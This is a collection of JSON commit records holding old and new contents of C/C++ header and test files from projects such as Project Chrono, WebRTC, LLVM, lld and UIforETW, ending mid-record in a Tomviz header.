{"commit":"88b1dfa1c40df5f49daabb122392c64ea21d0154","old_file":"src\/unit_VEHICLE\/models\/generic\/Generic_FuncDriver.h","new_file":"src\/unit_VEHICLE\/models\/generic\/Generic_FuncDriver.h","old_contents":"","new_contents":"\/\/ =============================================================================\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2014 projectchrono.org\n\/\/ All right reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found\n\/\/ in the LICENSE file at the top level of the distribution and at\n\/\/ http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\/\/ =============================================================================\n\/\/ Authors: Radu Serban\n\/\/ =============================================================================\n\/\/\n\/\/\n\/\/ =============================================================================\n\n#ifndef GENERIC_FUNCDRIVER_H\n#define GENERIC_FUNCDRIVER_H\n\n#include \"subsys\/ChDriver.h\"\n\nclass Generic_FuncDriver : public chrono::ChDriver\n{\npublic:\n\n  Generic_FuncDriver() {}\n  ~Generic_FuncDriver() {}\n\n  virtual void Update(double time)\n  {\n    if (time < 0.5)\n      m_throttle = 0;\n    else if (time < 1.5)\n      m_throttle = 0.4 * (time - 0.5);\n    else\n      m_throttle = 0.4;\n\n    if (time < 4)\n      m_steering = 0;\n    else if (time < 6)\n      m_steering = 0.25 * (time - 4);\n    else if (time < 10)\n      m_steering = -0.25 * (time - 6) + 0.5;\n    else\n      m_steering = -0.5;\n  }\n};\n\n\n#endif\n","subject":"Add a generic driver model.","message":"Add a generic driver model.\n","lang":"C","license":"bsd-3-clause","repos":"jcmadsen\/chrono,projectchrono\/chrono,Milad-Rakhsha\/chrono,armanpazouki\/chrono,tjolsen\/chrono,amelmquist\/chrono,andrewseidl\/chrono,tjolsen\/chrono,tjolsen\/chrono,Bryan-Peterson\/chrono,dariomangoni\/chrono,Milad-Rakhsha\/chrono,Milad-Rakhsha\/chrono,dariomangoni\/chrono,Milad-Rakhsha\/chrono,dariomangoni\/chrono,amelmquist\/chrono,dariomangoni\/chrono,rserban\/chrono,rserban\/chrono,jcmadsen\/chrono,armanpazouki\/chrono,armanpazouki\/chrono,Bryan-Peterson\/chrono,rserban\/chrono,rserban\/chrono,andrewseidl\/chrono,Bryan-Peterson\/chrono,tjolsen\/chrono,amelmquist\/chrono,andrewseidl\/chrono,amelmquist\/chrono,Bryan-Peterson\/chrono,andrewseidl\/chrono,projectchrono\/chrono,tjolsen\/chrono,dariomangoni\/chrono,projectchrono\/chrono,Bryan-Peterson\/chrono,jcmadsen\/chrono,Milad-Rakhsha\/chrono,rserban\/chrono,dariomangoni\/chrono,jcmadsen\/chrono,jcmadsen\/chrono,amelmquist\/chrono,amelmquist\/chrono,rserban\/chrono,jcmadsen\/chrono,projectchrono\/chrono,jcmadsen\/chrono,Milad-Rakhsha\/chrono,andrewseidl\/chrono,projectchrono\/chrono,projectchrono\/chrono,armanpazouki\/chrono,armanpazouki\/chrono,armanpazouki\/chrono,rserban\/chrono"}
{"commit":"5b6d50ae693acb0b6e001bf39100c44cdda4ad63","old_file":"pkg\/fizhi\/fizhi_SHP.h","new_file":"pkg\/fizhi\/fizhi_SHP.h","old_contents":"","new_contents":"C $Header$\nC $Name$\n\n\nC The physics state uses the dynamics dimensions in the horizontal\nC     and the land dimensions in the horizontal for turbulence variables\nc\nc Secret Hiding Place - Use to compute gridalt correction term diagnostics\nc ------------------------------------------------------------------------\n      common \/fizhi_SHP\/ ubef,vbef,thbef,sbef,\n     .                   udynbef,vdynbef,thdynbef,sdynbef\n\n      _RL ubef(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nrphys,Nsx,Nsy)\n      _RL vbef(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nrphys,Nsx,Nsy)\n      _RL thbef(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nrphys,Nsx,Nsy)\n      _RL sbef(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nrphys,Nsx,Nsy)\n      _RL udynbef(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nr,Nsx,Nsy)\n      _RL vdynbef(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nr,Nsx,Nsy)\n      _RL thdynbef(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nr,Nsx,Nsy)\n      _RL sdynbef(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nr,Nsx,Nsy)\n","subject":"Add new common block to compute some diagnostics when needed","message":"Add new common block to compute some diagnostics when needed\n","lang":"C","license":"mit","repos":"altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h"}
{"commit":"0fa6366ed15f48b3ec227987f21f339180fb4936","old_file":"webrtc\/base\/checks.h","new_file":"webrtc\/base\/checks.h","old_contents":"\/*\n *  Copyright 2006 The WebRTC Project Authors. All rights reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n\/\/ This module contains some basic debugging facilities.\n\/\/ Originally comes from shared\/commandlineflags\/checks.h\n\n#ifndef WEBRTC_BASE_CHECKS_H_\n#define WEBRTC_BASE_CHECKS_H_\n\nnamespace rtc {\n\n\/\/ Prints an error message to stderr and aborts execution.\nvoid Fatal(const char* file, int line, const char* format, ...);\n\n}  \/\/ namespace rtc\n\n\/\/ The UNREACHABLE macro is very useful during development.\n#define UNREACHABLE()                                   \\\n  rtc::Fatal(__FILE__, __LINE__, \"unreachable code\")\n\n#endif  \/\/ WEBRTC_BASE_CHECKS_H_\n","new_contents":"\/*\n *  Copyright 2006 The WebRTC Project Authors. All rights reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n\/\/ This module contains some basic debugging facilities.\n\/\/ Originally comes from shared\/commandlineflags\/checks.h\n\n#ifndef WEBRTC_BASE_CHECKS_H_\n#define WEBRTC_BASE_CHECKS_H_\n\nnamespace rtc {\n\n\/\/ Prints an error message to stderr and aborts execution.\nvoid Fatal(const char* file, int line, const char* format, ...);\n\n}  \/\/ namespace rtc\n\n\/\/ Trigger a fatal error (which aborts the process and prints an error\n\/\/ message). FATAL_ERROR_IF may seem a lot like assert, but there's a crucial\n\/\/ difference: it's always \"on\". This means that it can be used to check for\n\/\/ regular errors that could actually happen, not just programming errors that\n\/\/ supposedly can't happen---but triggering a fatal error will kill the process\n\/\/ in an ugly way, so it's not suitable for catching errors that might happen\n\/\/ in production.\n#define FATAL_ERROR(msg) do { rtc::Fatal(__FILE__, __LINE__, msg); } while (0)\n#define FATAL_ERROR_IF(x) do { if (x) FATAL_ERROR(\"check failed\"); } while (0)\n\n\/\/ The UNREACHABLE macro is very useful during development.\n#define UNREACHABLE() FATAL_ERROR(\"unreachable code\")\n\n#endif  \/\/ WEBRTC_BASE_CHECKS_H_\n","subject":"Define convenient FATAL_ERROR() and FATAL_ERROR_IF() macros","message":"Define convenient FATAL_ERROR() and FATAL_ERROR_IF() macros\n\nR=henrike@webrtc.org\n\nReview URL: https:\/\/webrtc-codereview.appspot.com\/16079004\n\ngit-svn-id: 917f5d3ca488f358c4d40eaec14422cf392ccec9@6701 4adac7df-926f-26a2-2b94-8c16560cd09d\n","lang":"C","license":"bsd-3-clause","repos":"mwgoldsmith\/ilbc,ShiftMediaProject\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,mwgoldsmith\/ilbc,TimothyGu\/libilbc,mwgoldsmith\/libilbc,ShiftMediaProject\/libilbc,mwgoldsmith\/libilbc,TimothyGu\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,mwgoldsmith\/ilbc,TimothyGu\/libilbc,mwgoldsmith\/libilbc,mwgoldsmith\/ilbc,mwgoldsmith\/libilbc,ShiftMediaProject\/libilbc"}
{"commit":"b2982d63745aa6222ca3ef00d1042b874ba50307","old_file":"evmjit\/libevmjit\/Utils.h","new_file":"evmjit\/libevmjit\/Utils.h","old_contents":"#pragma once\n\n#include <iostream>\n\n\/\/ The same as assert, but expression is always evaluated and result returned\n#define CHECK(expr) (assert(expr), expr)\n\n#if !defined(NDEBUG) \/\/ Debug\n\nnamespace dev\n{\nnamespace evmjit\n{\n\nstd::ostream& getLogStream(char const* _channel);\n\n}\n}\n\n#define DLOG(CHANNEL) ::dev::evmjit::getLogStream(#CHANNEL)\n\n#else \/\/ Release\n\t#define DLOG(CHANNEL) true ? std::cerr : std::cerr\n#endif\n","new_contents":"#pragma once\n\n#include <iostream>\n\n\/\/ The same as assert, but expression is always evaluated and result returned\n#define CHECK(expr) (assert(expr), expr)\n\n#if !defined(NDEBUG) \/\/ Debug\n\nnamespace dev\n{\nnamespace evmjit\n{\n\nstd::ostream& getLogStream(char const* _channel);\n\n}\n}\n\n#define DLOG(CHANNEL) ::dev::evmjit::getLogStream(#CHANNEL)\n\n#else \/\/ Release\n\nnamespace dev\n{\nnamespace evmjit\n{\n\nstruct Voider\n{\n\tvoid operator=(std::ostream const&) {}\n};\n\n}\n}\n\n\n#define DLOG(CHANNEL) true ? (void)0 : ::dev::evmjit::Voider{} = std::cerr\n\n#endif\n","subject":"Reimplement no-op version of DLOG to avoid C++ compiler warning","message":"Reimplement no-op version of DLOG to avoid C++ compiler warning\n","lang":"C","license":"mit","repos":"vaporry\/cpp-ethereum,karek314\/cpp-ethereum,expanse-project\/cpp-expanse,programonauta\/webthree-umbrella,expanse-org\/cpp-expanse,PaulGrey30\/go-get--u-github.com-tools-godep,vaporry\/cpp-ethereum,joeldo\/cpp-ethereum,LefterisJP\/cpp-ethereum,d-das\/cpp-ethereum,smartbitcoin\/cpp-ethereum,d-das\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,gluk256\/cpp-ethereum,xeddmc\/cpp-ethereum,joeldo\/cpp-ethereum,d-das\/cpp-ethereum,johnpeter66\/ethminer,yann300\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,anthony-cros\/cpp-ethereum,smartbitcoin\/cpp-ethereum,ethers\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,johnpeter66\/ethminer,eco\/cpp-ethereum,ethers\/cpp-ethereum,ethers\/cpp-ethereum,anthony-cros\/cpp-ethereum,eco\/cpp-ethereum,anthony-cros\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,LefterisJP\/cpp-ethereum,joeldo\/cpp-ethereum,anthony-cros\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,xeddmc\/cpp-ethereum,yann300\/cpp-ethereum,karek314\/cpp-ethereum,vaporry\/webthree-umbrella,PaulGrey30\/go-get--u-github.com-tools-godep,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,subtly\/cpp-ethereum-micro,LefterisJP\/cpp-ethereum,gluk256\/cpp-ethereum,expanse-org\/cpp-expanse,LefterisJP\/cpp-ethereum,expanse-project\/cpp-expanse,gluk256\/cpp-ethereum,anthony-cros\/cpp-ethereum,karek314\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,expanse-org\/cpp-expanse,expanse-org\/cpp-expanse,karek314\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,joeldo\/cpp-ethereum,karek314\/cpp-ethereum,smartbitcoin\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,eco\/cpp-ethereum,expanse-org\/cpp-expanse,eco\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,subtly\/cpp-ethereum-micro,expanse-project\/cpp-expanse,smartbitcoin\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,ethers\/cpp-ethereum,expanse-project\/cpp-expanse,ethers\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,subtly\/cpp-ethereum-micro,expanse-project\/cpp-expanse,subtly\/cpp-ethereum-micro,vaporry\/cpp-ethereum,d-das\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,eco\/cpp-ethereum,yann300\/cpp-ethereum,yann300\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,programonauta\/webthree-umbrella,gluk256\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,xeddmc\/cpp-ethereum,yann300\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,gluk256\/cpp-ethereum,eco\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,expanse-project\/cpp-expanse,d-das\/cpp-ethereum,gluk256\/cpp-ethereum,d-das\/cpp-ethereum,xeddmc\/cpp-ethereum,joeldo\/cpp-ethereum,xeddmc\/cpp-ethereum,LefterisJP\/webthree-umbrella,expanse-org\/cpp-expanse,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,chfast\/webthree-umbrella,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,vaporry\/cpp-ethereum,anthony-cros\/cpp-ethereum,johnpeter66\/ethminer,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,xeddmc\/cpp-ethereum,smartbitcoin\/cpp-ethereum,subtly\/cpp-ethereum-micro,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,ethers\/cpp-ethereum,LefterisJP\/cpp-ethereum,yann300\/cpp-ethereum,vaporry\/cpp-ethereum,karek314\/cpp-ethereum,joeldo\/cpp-ethereum,subtly\/cpp-ethereum-micro,vaporry\/cpp-ethereum,LefterisJP\/webthree-umbrella,arkpar\/webthree-umbrella,smartbitcoin\/cpp-ethereum,LefterisJP\/cpp-ethereum"}
{"commit":"b56013dda5371aa32a634bc59878f754b537f874","old_file":"test\/CFrontend\/2004-03-07-BitfieldCrash.c","new_file":"test\/CFrontend\/2004-03-07-BitfieldCrash.c","old_contents":"\/\/ RUN: %llvmgcc -S %s -o \/dev\/null\n\n\/*\n * XFAIL: linux\n *\/\nstruct s {\n  unsigned long long u33: 33;\n  unsigned long long u40: 40;\n};\n\nstruct s a = { 1, 2};\n\nint foo() {\n  return a.u40;\n}\n","new_contents":"\/\/ RUN: %llvmgcc -S %s -o \/dev\/null\n\n\/*\n * XFAIL: *\n *\/\nstruct s {\n  unsigned long long u33: 33;\n  unsigned long long u40: 40;\n};\n\nstruct s a = { 1, 2};\n\nint foo() {\n  return a.u40;\n}\n","subject":"Test fails on all platforms, not just linux","message":"Test fails on all platforms, not just linux\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@19405 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm"}
{"commit":"2dd927c6610bb09ec315409d2973ed505f5e4cc7","old_file":"lib\/ReaderWriter\/PECOFF\/PDBPass.h","new_file":"lib\/ReaderWriter\/PECOFF\/PDBPass.h","old_contents":"\/\/===- lib\/ReaderWriter\/PECOFF\/PDBPass.h ----------------------------------===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLD_READER_WRITER_PE_COFF_PDB_PASS_H\n#define LLD_READER_WRITER_PE_COFF_PDB_PASS_H\n\n#include \"lld\/Core\/Pass.h\"\n#include \"llvm\/ADT\/StringRef.h\"\n\n#if !defined(_MSC_VER) && !defined(__MINGW32__)\n#include <unistd.h>\n#else\n#include <io.h>\n#endif\n\nnamespace lld {\nnamespace pecoff {\n\nclass PDBPass : public lld::Pass {\npublic:\n  PDBPass(PECOFFLinkingContext &ctx) : _ctx(ctx) {}\n\n  void perform(std::unique_ptr<MutableFile> &file) override {\n    if (_ctx.getDebug())\n      touch(_ctx.getPDBFilePath());\n  }\n\nprivate:\n  void touch(StringRef path) {\n    int fd;\n    if (llvm::sys::fs::openFileForWrite(path, fd, llvm::sys::fs::F_Append))\n      llvm::report_fatal_error(\"failed to create a PDB file\");\n    ::close(fd);\n  }\n\n  PECOFFLinkingContext &_ctx;\n};\n\n} \/\/ namespace pecoff\n} \/\/ namespace lld\n\n#endif\n","new_contents":"\/\/===- lib\/ReaderWriter\/PECOFF\/PDBPass.h ----------------------------------===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLD_READER_WRITER_PE_COFF_PDB_PASS_H\n#define LLD_READER_WRITER_PE_COFF_PDB_PASS_H\n\n#include \"lld\/Core\/Pass.h\"\n#include \"llvm\/ADT\/StringRef.h\"\n#include \"llvm\/Support\/Process.h\"\n\nnamespace lld {\nnamespace pecoff {\n\nclass PDBPass : public lld::Pass {\npublic:\n  PDBPass(PECOFFLinkingContext &ctx) : _ctx(ctx) {}\n\n  void perform(std::unique_ptr<MutableFile> &file) override {\n    if (_ctx.getDebug())\n      touch(_ctx.getPDBFilePath());\n  }\n\nprivate:\n  void touch(StringRef path) {\n    int fd;\n    if (llvm::sys::fs::openFileForWrite(path, fd, llvm::sys::fs::F_Append))\n      llvm::report_fatal_error(\"failed to create a PDB file\");\n    llvm::sys::Process::SafelyCloseFileDescriptor(fd);\n  }\n\n  PECOFFLinkingContext &_ctx;\n};\n\n} \/\/ namespace pecoff\n} \/\/ namespace lld\n\n#endif\n","subject":"Use SafelyCloseFileDescriptor instead of close.","message":"Use SafelyCloseFileDescriptor instead of close.\n\nOpening a file using openFileForWrite and closing it using close\nwas asymmetric. It also had a subtle portability problem (details are\ndescribed in the commit message for r219189).\n\ngit-svn-id: f6089bf0e6284f307027cef4f64114ee9ebb0424@222802 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lld,llvm-mirror\/lld"}
{"commit":"c03ed8c4aa935e2490178b52fbaa73675137f626","old_file":"tests\/amd64\/wait4_WNOHANG\/wait4_WNOHANG.c","new_file":"tests\/amd64\/wait4_WNOHANG\/wait4_WNOHANG.c","old_contents":"\nstatic int\nparent_main(pid_t child_pid)\n{\n\tpid_t pid;\n\tint status;\n\n\tpid = wait4(child_pid, &status, WNOHANG, NULL);\n\tif (pid != 0)\n\t\treturn (1);\n\n\treturn (0);\n}\n\nstatic void\nsignal_handler(int sig)\n{\n}\n\nint\nmain(int argc, const char *argv[])\n{\n\tstruct sigaction act;\n\tstruct timespec t;\n\tpid_t child_pid;\n\tint retval;\n\n\tact.sa_handler = signal_handler;\n\tact.sa_flags = 0;\n\tif (sigfillset(&act.sa_mask) == -1)\n\t\treturn (16);\n\tif (sigaction(SIGTERM, &act, NULL) == -1)\n\t\treturn (17);\n\n\tchild_pid = fork();\n\tswitch (child_pid) {\n\tcase -1:\n\t\treturn (18);\n\tcase 0:\n\t\tt.tv_sec = 8;\n\t\tt.tv_nsec = 0;\n\t\tnanosleep(&t, NULL);\n\t\treturn (0);\n\tdefault:\n\t\tbreak;\n\t}\n\n\tretval = parent_main(child_pid);\n\n\tkill(child_pid, SIGTERM);\n\n\treturn (retval);\n}\n","new_contents":"\nstatic int\nparent_main(pid_t child_pid)\n{\n\tpid_t pid;\n\tint status;\n\n\tpid = wait4(child_pid, &status, WNOHANG, NULL);\n\tif (pid != 0)\n\t\treturn (1);\n\n\treturn (0);\n}\n\nint\nmain(int argc, const char *argv[])\n{\n\tpid_t child_pid;\n\tint retval;\n\n\tchild_pid = fork();\n\tswitch (child_pid) {\n\tcase -1:\n\t\treturn (18);\n\tcase 0:\n\t\tfor (;;)\n\t\t\t;\n\t\treturn (0);\n\tdefault:\n\t\tbreak;\n\t}\n\n\tretval = parent_main(child_pid);\n\n\tkill(child_pid, SIGKILL);\n\n\treturn (retval);\n}\n","subject":"Simplify the test for wait4(2) with WNOHANG.","message":"Simplify the test for wait4(2) with WNOHANG.\n","lang":"C","license":"mit","repos":"SumiTomohiko\/fsyscall2,SumiTomohiko\/fsyscall2,SumiTomohiko\/fsyscall2,SumiTomohiko\/fsyscall2,SumiTomohiko\/fsyscall2"}
{"commit":"a78e1809fe4e6276c50d192e1bb5dc94ac84f626","old_file":"3RVX\/Controllers\/Volume\/VolumeController.h","new_file":"3RVX\/Controllers\/Volume\/VolumeController.h","old_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\nclass VolumeTransformation;\n\nclass VolumeController {\npublic:\n    struct DeviceInfo {\n        std::wstring name;\n        std::wstring id;\n    };\n\n    \/\/\/ <summary>\n    \/\/\/ Retrieves the current volume level as a float, ranging from 0.0 - 1.0\n    \/\/\/ <\/summary>\n    virtual float Volume() = 0;\n\n    \/\/\/ <summary>Sets the volume level. Valid range: 0.0 - 1.0<\/summary>\n    virtual void Volume(float vol) = 0;\n\n    virtual bool Muted() = 0;\n    virtual void Muted(bool mute) = 0;\n    virtual void ToggleMute() {\n        (Muted() == true) ? Muted(false) : Muted(true);\n    }\n\n    virtual void DeviceEnabled() = 0;\n\n    virtual void AddTransformation(VolumeTransformation *transform) = 0;\n    virtual void RemoveTransformation(VolumeTransformation *transform) = 0;\n\npublic:\n    static const int MSG_VOL_CHNG = WM_APP + 1080;\n    static const int MSG_VOL_DEVCHNG = WM_APP + 1081;\n\n};","new_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\nclass VolumeTransformation;\n\nclass VolumeController {\npublic:\n    struct DeviceInfo {\n        std::wstring name;\n        std::wstring id;\n    };\n\n    \/\/\/ <summary>\n    \/\/\/ Retrieves the current volume level as a float, ranging from 0.0 - 1.0\n    \/\/\/ <\/summary>\n    virtual float Volume() = 0;\n\n    \/\/\/ <summary>Sets the volume level. Valid range: 0.0 - 1.0<\/summary>\n    virtual void Volume(float vol) = 0;\n\n    virtual bool Muted() = 0;\n    virtual void Muted(bool mute) = 0;\n    virtual void ToggleMute() {\n        (Muted() == true) ? Muted(false) : Muted(true);\n    }\n\n    virtual bool DeviceEnabled() = 0;\n\n    virtual void AddTransformation(VolumeTransformation *transform) = 0;\n    virtual void RemoveTransformation(VolumeTransformation *transform) = 0;\n\npublic:\n    static const int MSG_VOL_CHNG = WM_APP + 1080;\n    static const int MSG_VOL_DEVCHNG = WM_APP + 1081;\n\n};","subject":"Use proper return type X-(","message":"Use proper return type X-(\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"a78cf22e966d824ff4234bdf39aaf27dedec8eb5","old_file":"src\/ArduinoDataPacket.h","new_file":"src\/ArduinoDataPacket.h","old_contents":"","new_contents":"\/**\n * Project\n * #    #     #     ######   ######   \n * #   #     # #    #     #  #     #  \n * #  #     #   #   #     #  #     #  \n * ###     #     #  ######   ######   \n * #  #    #######  #   #    #   #    \n * #   #   #     #  #    #   #    #   \n * #    #  #     #  #     #  #     #  \n *\n * Copyright (c) 2014, Project KARR\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without \n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, \n * this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice, \n * this list of conditions and the following disclaimer in the documentation \n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" \n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE \n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE \n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE \n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF \n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS \n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN \n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE \n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n#ifndef HAVE_KARR_ARDUINO_DATA_PACKET_H\n#define HAVE_KARR_ARDUINO_DATA_PACKET_H\n\nstruct ArduinoDataPacket {\n    int version;\n    int counter;\n    int analog[5];\n    int flags;\n};\n\n#endif\n","subject":"Add Arduino Data packet header.","message":"Add Arduino Data packet header.\n","lang":"C","license":"bsd-3-clause","repos":"dublet\/KARR,dublet\/KARR,dublet\/KARR"}
{"commit":"adca044ede25200548c3b2b4dbdcf8e1ddc40959","old_file":"UIforETW\/Version.h","new_file":"UIforETW\/Version.h","old_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.49f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","new_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.50f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","subject":"Change version number to 1.50","message":"Change version number to 1.50\n","lang":"C","license":"apache-2.0","repos":"ariccio\/UIforETW,google\/UIforETW,ariccio\/UIforETW,google\/UIforETW,ariccio\/UIforETW,ariccio\/UIforETW,google\/UIforETW,google\/UIforETW"}
{"commit":"f2f989b081da91d67646aeaeb9b0483d3586dae2","old_file":"EasyImagy\/EasyImagy.h","new_file":"EasyImagy\/EasyImagy.h","old_contents":"#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for EasyImagy.\nFOUNDATION_EXPORT double EasyImagyVersionNumber;\n\n\/\/! Project version string for EasyImagy.\nFOUNDATION_EXPORT const unsigned char EasyImagyVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <EasyImagy\/PublicHeader.h>\n\n\n","new_contents":"#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for EasyImagy.\nFOUNDATION_EXPORT double EasyImagyVersionNumber;\n\n\/\/! Project version string for EasyImagy.\nFOUNDATION_EXPORT const unsigned char EasyImagyVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <EasyImagy\/PublicHeader.h>\n\n\n","subject":"Replace unnecessary import of UIKit with Foundation","message":"Replace unnecessary import of UIKit with Foundation\n","lang":"C","license":"mit","repos":"koher\/EasyImagy"}
{"commit":"11236637a5b66c166e266522d0c3b077ce084dc9","old_file":"tomviz\/PresetDialog.h","new_file":"tomviz\/PresetDialog.h","old_contents":"\/* This source file is part of the Tomviz project, https:\/\/tomviz.org\/.\n  It is released under the 3-Clause BSD License, see \"LICENSE\". *\/\n\n#ifndef tomvizPresetDialog_h\n#define tomvizPresetDialog_h\n\n#include <QDialog>\n#include <QScopedPointer>\n\nclass QTableView;\nclass vtkSMProxy;\n\nnamespace Ui {\nclass PresetDialog;\n}\n\nnamespace tomviz {\n\nclass PresetModel;\n  \nclass PresetDialog : public QDialog\n{\n  Q_OBJECT\n\npublic:\n  explicit PresetDialog(QWidget* parent);\n  QString presetName();\n  void addNewPreset(const QJsonObject& newPreset);\n  QJsonObject jsonObject();\n  ~PresetDialog() override;\n\nsignals:\n  void applyPreset();\n  void resetToDefaults();\n\nprivate slots:\n  void warning();\n\nprivate:\n  